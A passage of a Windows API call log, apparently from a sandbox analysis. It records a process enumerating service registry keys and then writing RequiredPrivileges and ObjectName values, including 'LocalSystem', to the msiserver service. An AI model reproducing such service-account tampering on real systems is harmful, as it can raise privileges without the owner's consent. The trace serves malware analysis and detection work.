lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0173.970] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0173.971] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0173.972] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0173.973] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0173.974] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0173.975] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0173.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0173.975] RegCloseKey (hKey=0x9c) returned 0x0 [0173.975] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0173.975] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0173.975] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0173.976] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0173.976] RegCloseKey (hKey=0x80000002) returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0173.976] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0173.976] RegCloseKey (hKey=0x148) returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0173.976] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0173.977] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0173.977] RegCloseKey (hKey=0x9c) returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0173.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.978] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.978] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x2156ff8*, cbData=0x195 | out: lpData=0x2156ff8*) returned 0x0 [0173.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2156ff8) returned 1 [0173.979] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeCreateGlobalPrivilege", cbData=0x18 | out: lpData="SeCreateGlobalPrivilege") returned 0x0 [0173.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.979] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.980] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0173.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0173.980] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\LocalService", cbData=0x1a | out: lpData="NT AUTHORITY\\LocalService") returned 0x0 [0173.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] 